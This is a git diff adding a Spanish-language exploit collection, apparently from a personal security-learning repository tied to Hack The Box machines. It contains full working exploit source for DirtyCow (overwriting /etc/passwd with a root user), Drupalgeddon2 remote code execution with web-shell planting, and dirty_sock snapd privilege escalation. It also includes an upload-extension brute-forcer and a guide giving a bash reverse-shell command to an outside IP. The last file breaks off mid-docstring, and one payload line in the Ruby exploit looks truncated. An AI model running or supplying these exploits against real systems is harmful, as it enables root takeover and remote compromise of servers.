diff --git a/Exploits/BountyHTBnumerationExtension/BountyNumExtensionHTB.py b/Exploits/BountyHTBnumerationExtension/BountyNumExtensionHTB.py new file mode 100644 index 00000000000..3371032c4aa --- /dev/null +++ b/Exploits/BountyHTBnumerationExtension/BountyNumExtensionHTB.py @@ -0,0 +1,50 @@ +#!/usr/bin/python3 + +from pwn import * +import signal, time, pdb, sys, requests + +def def_handler(sig, frame): + print("\n\n[!] Saliendo...\n") + sys.exit(1) + +# Ctrl + C +signal.signal(signal.SIGINT, def_handler) + +# Variabls globales +transfer_url = "http://10.10.10.93/transfer.aspx" # Ip de la máquina +burp = {'http': 'http://127.0.0.1.:8080'} # Conexión con Burbsuite + +def uploadFile(extension): + + s = requests.session() + r = s.get(transfer_url) + + viewState = re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0] + eventValidation = re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0] + + post_data = { + '__VIEWSTATE': viewState, + '__EVENTVALIDATION': eventValidation, + 'btnUpload': 'Upload' + } + + fileUploaded = {'FileUpload1': ('Prueba%s' % extension, 'Esto es una prueba')} + + r = s.post(transfer_url, data=post_data, files=fileUploaded) # Para añadir conexión con Burpsuite incluir ", proxies=burp" + + if "Invalid File. Please try again" not in r.text: + log.info("La extensión %s es valida" % extension) + +if __name__ == '__main__': + + f = open("/usr/share/seclists/Discovery/Web-Content/raft-medium-extensions.txt","rb") + + p1 = log.progress("Fuerza bruta") + p1.status("Iniciando ataque de fuerza bruta") + + for extension in f.readlines(): + extension = extension.decode().strip() + p1.status("Probando con la extensión %s" % extension) + uploadFile(extension) + + uploadFile() diff --git a/Exploits/BountyHTBnumerationExtension/Readme.md b/Exploits/BountyHTBnumerationExtension/Readme.md new file mode 100644 index 00000000000..7ea98f7a074 --- /dev/null +++ b/Exploits/BountyHTBnumerationExtension/Readme.md @@ -0,0 +1,7 @@ +# HTB Bounty - Numeracion de extensiones. + +Este exploit se utiliza para numerar las extensiones que interpreta un sistema. El programa este ha sido crado para +la máquina Bounty de Hack The Box. Usando un diccionario de extensiones las comprueba todas reportándonos cuáles +podemos utilizar. + +![Captura de pantalla 2022-08-05 021242](https://user-images.githubusercontent.com/103068924/182975843-e3b63a68-bbaf-42bc-9ef1-6e16616f740a.png) diff --git a/Exploits/DirtyCow/DirtyCow.md b/Exploits/DirtyCow/DirtyCow.md new file mode 100644 index 00000000000..fef4b4312ad --- /dev/null +++ b/Exploits/DirtyCow/DirtyCow.md @@ -0,0 +1,151 @@ +# Dirty Cow - EDB-ID:40839 + + +* ¿Qué es Dirty Cow? +* ¿Cómo explotar la vulnerabilidad Dirty Cow? +* Como saber que un equipo posee la vulnerabilidad Dirty Cow. +* Instalación del Exploit. +* Ejecución del Exploit. + + + +## ¿Qué es Dirty Cow? + + +Dirty Cow (Dirty copy-on-write) es una vulnerabilidad de seguridad informática para el kernel de Linux que afectó a todos los +sistemas operativos basados en Linux, incluidos los dispositivos Android, que usaban versiones anteriores del kernel de Linux +creadas antes de 2018. + + +Concretamente, afecta a las versiones desde la 2.6.22 hasta la 3.9 del kernel de Linux. + + + +## ¿Cómo explotar la vulnerabilidad Dirty Cow? + + +Este exploit escrito en `C`, utiliza el exploit `pokemon` de la vulnerabilidad Dirty Cow. + + +El exploit aprovecha una vulnerabilidad en el código del kernel de Linux a través del cual genera automáticamente una nueva línea `passwd`(/etc/passdw). + + +Se le pedirá al usuario la nueva contraseña cuando se ejecute el binario. + + +A continuación, se realiza una copia de seguridad del archivo `/etc/passwd` original en `/tmp/passwd.bak` y sobrescribe la cuenta raíz con la +línea generada. Esto podemos comprobarlo haciendo un `cat` en el archivo `passwd`: + + + cat /etc/passwd + +![Captura de pantalla 2022-08-04 031357](https://user-images.githubusercontent.com/103068924/182746135-250eed29-7793-471c-b274-043ae2f88f84.png) + + +Después de ejecutar el exploit, debería poder iniciar sesión con el usuario recién originado. Por defecto se creará el Usurio `firefart`. Podemos +cambiar el nombre dentro del exploit y proporcionarle el que queramos. + + +![Captura de pantalla 2022-08-04 031524](https://user-images.githubusercontent.com/103068924/182746181-88bf1e37-8627-4a38-89b1-373d990b9a76.png) + + +![Captura de pantalla 2022-08-04 031701](https://user-images.githubusercontent.com/103068924/182746205-34d43fb9-5c48-4270-b1ac-3a9d121d9950.png) + + +Exploit original: https://www.exploit-db.com/exploits/40839 + + +Exploit en mi repositorio GitHub: https://github.com/F1r0x/f1r0x.github.io/blob/main/Exploits/DirtyCow/dirty.c + + + +## Como saber que un equipo posee la vulnerabilidad Dirty Cow: + + +Básicamente, para comprobar si un sistema Linux es vulnerable al Dirty Cow es revisando la versión del kernel. Si la versión del kernel está entre +la 2.6.22 hasta la 3.9 es muy posible que sea vulnerable. Para comprobar la versión del kernel podemos utilizar el comando: + + + uname -a + +![Captura de pantalla 2022-08-04 034452](https://user-images.githubusercontent.com/103068924/182746307-77b0b46f-f8d8-4e39-aed7-209f7b32bb63.png) + + + +## Instalación del exploit: + + +Para instalar el exploit, primero debemos tener acceso al sistema y poder descargar el binario en el equipo víctima, podemos descargarlo desde +el repositorio original o desde GitHub si nos permite realizar un `git clone` o podemos copiarlo directamente desde el buscador y crear el +archivo (mediante `nano` por ejemplo). + + +* Copiar de Aquí. + + +Podemos crear el archivo `dirty.c` utilizado `nano` y pegar el código del exploit. + + +Una vez descargado o creado lo debemos compilar con: + + + gcc -pthread dirty.c -o dirty -lcrypt + +![Captura de pantalla 2022-08-04 031828](https://user-images.githubusercontent.com/103068924/182746374-e0239b7d-abe1-488e-a469-f67706a5317c.png) + + + +## Ejecución del Exploit: + + +Ahora para ejecutar el binario utilizamos el siguiente comando: + + + ./dirty + + ![Captura de pantalla 2022-08-04 031905](https://user-images.githubusercontent.com/103068924/182746270-b2880a65-5126-47c8-8aea-48ab48177e8c.png) + + Tras ejecutarlo nos pedirá que ingresemos una nueva contraseña. + + Finalmente, una vez generada la nueva contraseña, se alojará el nuevo usuario en el `/etc/passwd` y podremos ingresar como ese usuario + el cual tendrá privilegios de superusuario o `root`. + + Para acceder al usuario: + + su firefart + + * `firefart`: Es el usuario predeterminado del exploit. + + Para acceder a través de un servicio `ssh`: + + ssh firefart@[Ip Vícitma] + + +--- +--- + + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Exploits/DirtyCow/dirty.c b/Exploits/DirtyCow/dirty.c new file mode 100644 index 00000000000..1bbfe362609 --- /dev/null +++ b/Exploits/DirtyCow/dirty.c @@ -0,0 +1,193 @@ +// +// This exploit uses the pokemon exploit of the dirtycow vulnerability +// as a base and automatically generates a new passwd line. +// The user will be prompted for the new password when the binary is run. +// The original /etc/passwd file is then backed up to /tmp/passwd.bak +// and overwrites the root account with the generated line. +// After running the exploit you should be able to login with the newly +// created user. +// +// To use this exploit modify the user values according to your needs. +// The default is "firefart". +// +// Original exploit (dirtycow's ptrace_pokedata "pokemon" method): +// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c +// +// Compile with: +// gcc -pthread dirty.c -o dirty -lcrypt +// +// Then run the newly create binary by either doing: +// "./dirty" or "./dirty my-new-password" +// +// Afterwards, you can either "su firefart" or "ssh firefart@..." +// +// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! +// mv /tmp/passwd.bak /etc/passwd +// +// Exploit adopted by Christian "FireFart" Mehlmauer +// https://firefart.at +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +const char *filename = "/etc/passwd"; +const char *backup_filename = "/tmp/passwd.bak"; +const char *salt = "firefart"; + +int f; +void *map; +pid_t pid; +pthread_t pth; +struct stat st; + +struct Userinfo { + char *username; + char *hash; + int user_id; + int group_id; + char *info; + char *home_dir; + char *shell; +}; + +char *generate_password_hash(char *plaintext_pw) { + return crypt(plaintext_pw, salt); +} + +char *generate_passwd_line(struct Userinfo u) { + const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; + int size = snprintf(NULL, 0, format, u.username, u.hash, + u.user_id, u.group_id, u.info, u.home_dir, u.shell); + char *ret = malloc(size + 1); + sprintf(ret, format, u.username, u.hash, u.user_id, + u.group_id, u.info, u.home_dir, u.shell); + return ret; +} + +void *madviseThread(void *arg) { + int i, c = 0; + for(i = 0; i < 200000000; i++) { + c += madvise(map, 100, MADV_DONTNEED); + } + printf("madvise %d\n\n", c); +} + +int copy_file(const char *from, const char *to) { + // check if target file already exists + if(access(to, F_OK) != -1) { + printf("File %s already exists! Please delete it and run again\n", + to); + return -1; + } + + char ch; + FILE *source, *target; + + source = fopen(from, "r"); + if(source == NULL) { + return -1; + } + target = fopen(to, "w"); + if(target == NULL) { + fclose(source); + return -1; + } + + while((ch = fgetc(source)) != EOF) { + fputc(ch, target); + } + + printf("%s successfully backed up to %s\n", + from, to); + + fclose(source); + fclose(target); + + return 0; +} + +int main(int argc, char *argv[]) +{ + // backup file + int ret = copy_file(filename, backup_filename); + if (ret != 0) { + exit(ret); + } + + struct Userinfo user; + // set values, change as needed + user.username = "firefart"; + user.user_id = 0; + user.group_id = 0; + user.info = "pwned"; + user.home_dir = "/root"; + user.shell = "/bin/bash"; + + char *plaintext_pw; + + if (argc >= 2) { + plaintext_pw = argv[1]; + printf("Please enter the new password: %s\n", plaintext_pw); + } else { + plaintext_pw = getpass("Please enter the new password: "); + } + + user.hash = generate_password_hash(plaintext_pw); + char *complete_passwd_line = generate_passwd_line(user); + printf("Complete line:\n%s\n", complete_passwd_line); + + f = open(filename, O_RDONLY); + fstat(f, &st); + map = mmap(NULL, + st.st_size + sizeof(long), + PROT_READ, + MAP_PRIVATE, + f, + 0); + printf("mmap: %lx\n",(unsigned long)map); + pid = fork(); + if(pid) { + waitpid(pid, NULL, 0); + int u, i, o, c = 0; + int l=strlen(complete_passwd_line); + for(i = 0; i < 10000/l; i++) { + for(o = 0; o < l; o++) { + for(u = 0; u < 10000; u++) { + c += ptrace(PTRACE_POKETEXT, + pid, + map + o, + *((long*)(complete_passwd_line + o))); + } + } + } + printf("ptrace %d\n",c); + } + else { + pthread_create(&pth, + NULL, + madviseThread, + NULL); + ptrace(PTRACE_TRACEME); + kill(getpid(), SIGSTOP); + pthread_join(pth,NULL); + } + + printf("Done! Check %s to see if the new user was created.\n", filename); + printf("You can log in with the username '%s' and the password '%s'.\n\n", + user.username, plaintext_pw); + printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", + backup_filename, filename); + return 0; +} diff --git a/Exploits/Drupalgeddon/Drupalgeddon2.0.md b/Exploits/Drupalgeddon/Drupalgeddon2.0.md new file mode 100644 index 00000000000..56ff7953675 --- /dev/null +++ b/Exploits/Drupalgeddon/Drupalgeddon2.0.md @@ -0,0 +1,58 @@ +# Drupalgeddon 2.0 (CVE-2018–7600) + +## ¿Qué es Drupalggeddon 2.0? + +Se conoce como `Drupalgeddon 2.0` o `CVE-2018–7600` a una vulnerabilidad catalogada como altamente crítica que afecta a todas las versiones +de las ramas 6, 7 y 8 del gestor de contenidos `Drupal` y permite la ejecución de código remoto en el servidor que lo aloja. + +Ya en 2014 se dio el primer Drupalgeddon, de ahí el 2.0. Es especialmente grave porque afecta a todas las versiones actuales de Drupal y su publicación se +hizo antes del parche que lo corrigiera, algo que normalmente no suele ocurrir. De hecho, inicialmente se publicó un parche que ha resultado no ser suficiente +y ha tenido que volver a ser parcheado. En palabras del propio grupo de seguridad de Drupal, el alcance es de más de un millón de sitios web +vulnerables, y supone el 9% del total de páginas web conocidas que usan un CMS. + +## ¿Cómo actua Drupalgeddon 2.0? + +La causa principal de esta vulnerabilidad está relacionada con el sistema de representación de temas de Drupal. Para crear todos los elementos de la interfaz +de usuario, Drupal utiliza `Form API`, una poderosa herramienta que permite a los desarrolladores crear formularios y manejar los envíos de formularios de +forma rápida y sencilla. Para lograr esto, la API utiliza una matriz asociativa jerárquica `Render Array` que contiene los datos que se renderizarán, así como +algunas propiedades que establecen cómo se deben renderizar los datos. + +* Para más información tecnica sobre su funcionamiento: Link + + +# Funciones Básicas: + +Para ejecutar el exploit: + + ./drupalgeddon.rb [Dirección Web] + +`Ejemplos:` + + ./drupalgeddon.rb http://ejemplo.com/ + + ./drupalgeddon.rb http://10.10.10.10/ + +Podemos ver el panel de ayuda `-h` para ver las distintas opciones: + +``` +Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id +More info: -h + -u, --url URL [Required] Service URL + -v, --version VERSION [Required] Target Drupal version {7,8} + -c, --command COMMAND [Required] Command to execute + -m, --method PHP_METHOD [Optional] PHP Method to use, by default: passthru + --form [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8 + --cloudflare [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass + -h, --help + +``` + +# Crear Shell Inversa Bash con Drupalgeddon2: + +Para poder crear una reverse shell utilizando una `bash`, podemos especificar mediante `-c` el siguiente comando: + + ./drupalgeddon.rb [Dirección_Web_Víctima] -c "bash -c 'exec bash -i &>/dev/tcp/[Mi_IP]/[Mi_Puerto_De_Escucha] <&1'" + +`Ejemplo:` + + ./drupalgeddon.rb http://10.10.10.59/ -c "bash -c 'exec bash -i &>/dev/tcp/10.10.14.26/4444 <&1'" diff --git a/Exploits/Drupalgeddon/drupalgeddon2.rb b/Exploits/Drupalgeddon/drupalgeddon2.rb new file mode 100644 index 00000000000..6ad9842822c --- /dev/null +++ b/Exploits/Drupalgeddon/drupalgeddon2.rb @@ -0,0 +1,669 @@ +#!/usr/bin/env ruby +# +# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 +# +# Authors: +# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked +# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k +# + + +require 'base64' +require 'json' +require 'net/http' +require 'openssl' +require 'readline' +require 'highline/import' + + +# Settings - Try to write a PHP to the web root? +try_phpshell = true +# Settings - General/Stealth +$useragent = "drupalgeddon2" +webshell = "shell.php" +# Settings - Proxy information (nil to disable) +$proxy_addr = nil +$proxy_port = 8080 + + +# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!) +bashcmd = "&1' ); }" +bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Function http_request [type] [data] +def http_request(url, type="get", payload="", cookie="") + puts verbose("HTTP - URL : #{url}") if $verbose + puts verbose("HTTP - Type: #{type}") if $verbose + puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose + + begin + uri = URI(url) + request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri) + request.initialize_http_header({"User-Agent" => $useragent}) + request.initialize_http_header("Cookie" => cookie) if not cookie.empty? + request.body = payload if not payload.empty? + return $http.request(request) + rescue SocketError + puts error("Network connectivity issue") + rescue Errno::ECONNREFUSED => e + puts error("The target is down ~ #{e.message}") + puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr + rescue Timeout::Error => e + puts error("The target timed out ~ #{e.message}") + end + + # If we got here, something went wrong. + exit +end + + +# Function gen_evil_url [method] [shell] [phpfunction] +def gen_evil_url(evil, element="", shell=false, phpfunction="passthru") + puts info("Payload: #{evil}") if not shell + puts verbose("Element : #{element}") if not shell and not element.empty? and $verbose + puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose + + # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render + # Check the version to match the payload + if $drupalverion.start_with?("8") and element == "mail" + # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200 + url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil + + elsif $drupalverion.start_with?("8") and element == "timezone" + # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru + url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil + + #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru" + + elsif $drupalverion.start_with?("7") and element == "name" + # Method #3 - Drupal v7.x: name, #post_render - HTTP 200 + url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil + payload = "form_id=user_pass&_triggering_element_name=name" + end + + # Drupal v7.x needs an extra value from a form + if $drupalverion.start_with?("7") + response = http_request(url, "post", payload, $session_cookie) + + form_name = "form_build_id" + puts verbose("Form name : #{form_name}") if $verbose + + form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip + puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty? + puts verbose("Form value : #{form_value}") if $verbose + + url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value + payload = "#{form_name}=#{form_value}" + end + + return url, payload +end + + +# Function clean_result +def clean_result(input) + #result = JSON.pretty_generate(JSON[response.body]) + #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean + clean = input.to_s.strip + + # PHP function: passthru + # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] + clean.slice!(/\[{"command":".*}\]$/) + + # PHP function: exec + # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] + #clean.slice!(/\[{"command":".*data":"/) + #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/) + + # Newer PHP for an older Drupal + # For: Deprecated: assert(): Calling assert() with a string argument is deprecated in /var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php on line 151
+ #clean.slice!(/.*
/) + + # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500 + # For: Deprecated: assert(): Calling assert() with a string argument is deprecated in /var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php on line 151
+ clean.slice!(/The website encountered an unexpected error.*/) + + return clean +end + + +# Feedback when something goes right +def success(text) + # Green + return "\e[#{32}m[+]\e[0m #{text}" +end + +# Feedback when something goes wrong +def error(text) + # Red + return "\e[#{31}m[-]\e[0m #{text}" +end + +# Feedback when something may have issues +def warning(text) + # Yellow + return "\e[#{33}m[!]\e[0m #{text}" +end + +# Feedback when something doing something +def action(text) + # Blue + return "\e[#{34}m[*]\e[0m #{text}" +end + +# Feedback with helpful information +def info(text) + # Light blue + return "\e[#{94}m[i]\e[0m #{text}" +end + +# Feedback for the overkill +def verbose(text) + # Dark grey + return "\e[#{90}m[v]\e[0m #{text}" +end + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +def init_authentication() + $uname = ask('Enter your username: ') { |q| q.echo = false } + $passwd = ask('Enter your password: ') { |q| q.echo = false } + $uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true } + $passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true } + $login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true } + $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true } +end + +def is_arg(args, param) + args.each do |arg| + if arg == param + return true + end + end + return false +end + + +# Quick how to use +def usage() + puts 'Usage: ruby drupalggedon2.rb [--authentication] [--verbose]' + puts 'Example for target that does not require authentication:' + puts ' ruby drupalgeddon2.rb https://example.com' + puts 'Example for target that does require authentication:' + puts ' ruby drupalgeddon2.rb https://example.com --authentication' +end + + +# Read in values +if ARGV.empty? + usage() + exit +end + +$target = ARGV[0] +init_authentication() if is_arg(ARGV, '--authentication') +$verbose = is_arg(ARGV, '--verbose') + + +# Check input for protocol +$target = "http://#{$target}" if not $target.start_with?("http") +# Check input for the end +$target += "/" if not $target.end_with?("/") + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Banner +puts action("--==[::#Drupalggedon2::]==--") +puts "-"*80 +puts info("Target : #{$target}") +puts info("Proxy : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr +puts info("Write? : Skipping writing PHP web shell") if not try_phpshell +puts "-"*80 + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Setup connection +uri = URI($target) +$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port) + +# Use SSL/TLS if needed +if uri.scheme == "https" + $http.use_ssl = true + $http.verify_mode = OpenSSL::SSL::VERIFY_NONE +end + +$session_cookie = '' +# If authentication required then login and get session cookie +if $uname + $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix + response = http_request($target + $login_path, 'post', $payload, $session_cookie) + if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie'] + $session_cookie = response['set-cookie'].split('; ')[0] + puts success("Logged in - Session Cookie : #{$session_cookie}") + end + +end + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Try and get version +$drupalverion = "" + +# Possible URLs +url = [ + # --- changelog --- + # Drupal v6.x / v7.x [200] + $target + "CHANGELOG.txt", + # Drupal v8.x [200] + $target + "core/CHANGELOG.txt", + + # --- bootstrap --- + # Drupal v7.x / v6.x [403] + $target + "includes/bootstrap.inc", + # Drupal v8.x [403] + $target + "core/includes/bootstrap.inc", + + # --- database --- + # Drupal v7.x / v6.x [403] + $target + "includes/database.inc", + # Drupal v7.x [403] + #$target + "includes/database/database.inc", + # Drupal v8.x [403] + #$target + "core/includes/database.inc", + + # --- landing page --- + # Drupal v8.x / v7.x [200] + $target, +] + +# Check all +url.each do|uri| + # Check response + response = http_request(uri, 'get', '', $session_cookie) + + # Check header + if response['X-Generator'] and $drupalverion.empty? + header = response['X-Generator'].slice(/Drupal (.*) \(https?:\/\/(www.)?drupal.org\)/, 1).to_s.strip + + if not header.empty? + $drupalverion = "#{header}.x" if $drupalverion.empty? + puts success("Header : v#{header} [X-Generator]") + puts verbose("X-Generator: #{response['X-Generator']}") if $verbose + end + end + + # Check request response, valid + if response.code == "200" + tmp = $verbose ? " [HTTP Size: #{response.size}]" : "" + puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}") + + # Check to see if it says: The requested URL "http://" was not found on this server. + puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server" + + # Check to see if it says:

Page not found

The requested page could not be found.
+ puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found" + + # Only works for CHANGELOG.txt + if uri.match(/CHANGELOG.txt/) + # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x + puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org" + + # Patched already? (For Drupal v8.4.x / v7.x) + puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002" + + # Try and get version from the file contents (For Drupal v8.4.x / v7.x) + $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip + + # Blank if not valid + $drupalverion = "" if not $drupalverion[-1] =~ /\d/ + end + + # Check meta tag + if not response.body.empty? + # For Drupal v8.x / v7.x + meta = response.body.match(/> ", true).to_s + + # Check input + puts warning("WARNING: Detected an known bad character (>)") if command =~ />/ + + # Exit + break if command == "exit" + + # Blank link? + next if command.empty? + + # If PHP web shell + if not webshellpath.empty? + # Send request + result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body + # Direct OS commands + else + url, payload = gen_evil_url(command, $element, true) + response = http_request(url, "post", payload, $session_cookie) + + # Check result + if not response.body.empty? + result = clean_result(response.body) + end + end + + # Feedback + puts result +end diff --git a/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py b/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py new file mode 100644 index 00000000000..b871edd4d4c --- /dev/null +++ b/Exploits/PrivilegeEscalation/Snap/dirty_sockv1.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 + +""" +Escalada de privilegios locales a través de snapd, afectando a Ubuntu y otros. + +La v1 de dirty_sock aprovecha la API /v2/create-user para crear un nuevo usuario local basado en información en un perfil de SSO de Ubuntu. +Requiere Internet saliente acceso, así como el servicio SSH que se ejecuta y está disponible desde localhost. +Pruebe v2 en entornos más restringidos, pero use v1 cuando sea posible. + +Antes de ejecutar v1, debe: + +- Crear una cuenta de SSO de Ubuntu (https://login.ubuntu.com/) +- Inicie sesión en esa cuenta y asegúrese de tener configurada su clave SSH pública en tu perfil. + +Ejecute un exploit como este: + +dirty_sock.py -u [Cuenta de email] -k [Archivo de clave privada ssh] + +Se creará un nuevo usuario local con derechos de sudo utilizando el nombre de usuario de su Perfil de SSO de Ubuntu. +La clave pública SSH se copiará en este perfil de usuario. +El exploit se convertirá automáticamente en SSH en localhost cuando finalice. + +CONDICIONES DE USO: +Tener permiso sudo sobre el archvio "snap". Esto podemos comprobarlo realizando un "sudo -l" y comprobando los permisos. + +Investigación y POC por initstring (https://github.com/initstring/dirty_sock) + +""" + +import argparse +import string +import random +import socket +import re +import sys +import os + +BANNER = r''' + ___ _ ____ ___ _ _ ____ ____ ____ _ _ + | \ | |__/ | \_/ [__ | | | |_/ + |__/ | | \ | | ___ ___] |__| |___ | \_ + (version 1) + +//=========[]==========================================\\ +|| R&D || initstring (@init_string) || +|| Source || https://github.com/initstring/dirty_sock || +|| Details || https://initblog.com/2019/dirty-sock || +\\=========[]==========================================// + +''' + + +def process_args(): + """Handles user-passed parameters""" + parser = argparse.ArgumentParser() + parser.add_argument('--username', '-u', type=str, action='store', + required=True, help='Your Ubuntu One account email.') + parser.add_argument('--key', '-k', type=str, action='store', + required=True, help='Full path to the ssh privkey' + ' matching the pubkey in your Ubuntu One account.') + + args = parser.parse_args() + + if not os.path.isfile(args.key): + print("[!] That key file does not exist. Please try again.") + sys.exit() + + return args + +def create_sockfile(): + """Generates a random socket file name to use""" + alphabet = string.ascii_lowercase + random_string = ''.join(random.choice(alphabet) for i in range(10)) + dirty_sock = ';uid=0;' + + # This is where we slip on the dirty sock. This makes its way into the + # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion + # by snapd's ucrednet.go file, allowing us to overwrite the UID variable. + sockfile = '/tmp/' + random_string + dirty_sock + + print("[+] Slipped dirty sock on random socket file: " + sockfile) + + return sockfile + +def bind_sock(sockfile): + """Binds to a local file""" + # This exploit only works if we also BIND to the socket after creating + # it, as we need to inject the dirty sock as a remote peer in the + # socket's ancillary data. + print("[+] Binding to socket file...") + client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + client_sock.bind(sockfile) + + # Connect to the snap daemon + print("[+] Connecting to snapd API...") + client_sock.connect('/run/snapd.socket') + + return client_sock + +def add_user(args, client_sock): + """Main exploit function""" + post_payload = ('{"email": "' + args.username + + '", "sudoer": true, "force-managed": true}') + http_req = ('POST /v2/create-user HTTP/1.1\r\n' + 'Host: localhost\r\n' + 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n' + + post_payload) + + # Send our payload to the snap API + print("[+] Sending payload...") + client_sock.sendall(http_req.encode("utf-8")) + + # Receive the data and extract the JSON + http_reply = client_sock.recv(8192).decode("utf-8") + + # Try to extract a username from the valid reply + regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"') + username = re.findall(regex, http_reply) + + # If exploit was not successful, give details and exit + if '"status":"Unauthorized"' in http_reply: + print("[!] System may not be vulnerable, here is the API reply:\n\n") + print(http_reply) + sys.exit() + + if 'cannot find user' in http_reply: + print("[!] Could not find user in the snap store... did you follow" + " the instructions?") + print("Here is the API reply:") + print(http_reply) + sys.exit() + + if not username: + print("[!] Something went wrong... Here is the API reply:") + print(http_reply) + sys.exit() + + # SSH into localhost with our new root account + print("[+] Success! Enjoy your new account with sudo rights!") + cmd1 = 'chmod 600 ' + args.key + cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key + os.system(cmd1) + os.system(cmd2) + + print("[+] Hope you enjoyed your stay!") + sys.exit() + + + +def main(): + """Main program function""" + + # Gotta have a banner... + print(BANNER) + + # Process the required arguments + args = process_args() + + # Create a random name for the dirty socket file + sockfile = create_sockfile() + + # Bind the dirty socket to the snapdapi + client_sock = bind_sock(sockfile) + + # Exploit away... + add_user(args, client_sock) + + # Remove the dirty socket file + os.remove(sockfile) + + +if __name__ == '__main__': + main() diff --git a/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py b/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py new file mode 100644 index 00000000000..bcdd3c1b05d --- /dev/null +++ b/Exploits/PrivilegeEscalation/Snap/dirty_sockv2.py @@ -0,0 +1,250 @@ +#!/usr/bin/env python3 + +""" +Escalada de privilegios locales a través de snapd, afectando a Ubuntu y otros. + +La v2 de dirty_sock aprovecha la API /v2/snaps para descargar de prueba un complemento vacío con un gancho de instalación que crea un nuevo usuario. +La v1 se recomienda en la mayoría de las situaciones, ya que es menos intrusivo. + +Simplemente, ejecuté tal cual, sin argumentos, sin requisitos. 